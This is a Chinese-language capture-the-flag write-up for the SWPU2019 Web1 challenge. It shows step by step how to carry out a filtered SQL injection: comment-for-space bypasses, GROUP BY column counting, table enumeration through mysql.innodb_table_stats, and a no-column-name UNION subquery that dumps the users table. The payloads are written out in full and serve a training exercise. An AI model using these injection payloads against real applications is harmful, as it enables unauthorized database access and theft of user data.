[SWPU2019]Web1
mysql.innodb_table_stats表下分别是database_name,table_name,index_name。你用了这个表,相对的也要换成database_name
打开页面,注册登录发布广告
这里疑似sql注入,我们传入1‘,再提交
在首界面的广告详情中发现一条报错语句,说明是sql注入
经过测试发现空格、or、#、–+、and等进行了过滤,我们需要闭合単引号,使用
1 | ,'3 |
就能闭合单引号了,而空格可以用/**/代替
开始sql注入
爆列
由于order被过滤了,我们使用group来爆列数
我们输入
1 | 1‘/**/group/**/by/**/22,'3 |
回显正常
而输入
1 | 1‘/**/group/**/by/**/23,'3 |
就会报错
可知,一共有22列
查看回显位
输入
1 | 1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1 |
发现回显在2号位和3号位上
爆表名
由于information_schema被过滤了,我们使用innodb_index_stats
1 | -1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22 |
注意: 这个地方一定要在前面可显示的位置2,3用select查出表名,因为union select查的是当前数据库中的内容,且有22个字段,如果将from/**/mysql.innodb_table_stats写在数字后面就查不出。
爆出表名ads,users
爆字段
这时就要无列名注入了
因为没有mysql.innodb_column_stats这个方法,查不了列名
大概原理就是没有列名,那就给它取名,然后按别名正常继续注入
1 | //-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22 |
就能得到flag了